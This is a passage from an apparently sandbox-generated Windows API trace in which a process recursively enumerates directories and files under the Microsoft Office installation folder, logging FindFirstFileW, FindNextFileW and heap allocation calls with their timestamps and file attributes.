ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0234.396] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0234.396] GetProcessHeap () returned 0xc10000 [0234.396] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0234.396] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0234.396] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0234.397] GetProcessHeap () returned 0xc10000 [0234.397] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0234.398] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0234.398] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0234.398] GetProcessHeap () returned 0xc10000 [0234.398] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0234.399] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0234.399] GetProcessHeap () returned 0xc10000 [0234.399] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0234.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0234.400] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.400] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0234.400] GetProcessHeap () returned 0xc10000 [0234.400] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0234.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\ole db\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0234.402] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.402] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0234.402] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0234.402] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0234.402] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0234.403] GetProcessHeap () returned 0xc10000 [0234.403] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0234.403] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0234.403] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0234.403] GetProcessHeap () returned 0xc10000 [0234.403] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0234.403] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0234.403] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0234.403] GetProcessHeap () returned 0xc10000 [0234.403] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0234.405] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1 [0234.406] GetProcessHeap () returned 0xc10000 [0234.406] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0234.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0234.421] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.421] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~1")) returned 1 [0234.421] GetProcessHeap () returned 0xc10000 [0234.421] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0234.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0234.461] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.461] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0234.461] GetProcessHeap () returned 0xc10000 [0234.461] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0234.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0234.463] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.463] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0234.463] GetProcessHeap () returned 0xc10000 [0234.463] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0234.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0234.488] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.488] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0234.489] GetProcessHeap () returned 0xc10000 [0234.489] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0234.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0234.674] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.674] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a79751b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a79751b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7bd7ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0234.674] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a79751b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0234.674] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7bd7ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1 [0234.674] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hive.xsl", cAlternateFileName="")) returned 1 [0234.674] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a8560d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0234.675] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a8560d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0234.675] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1 [0234.675] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0234.675] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0234.675] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0234.675] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a809c41, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1 [0234.675] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2aebe60a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0234.675] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, 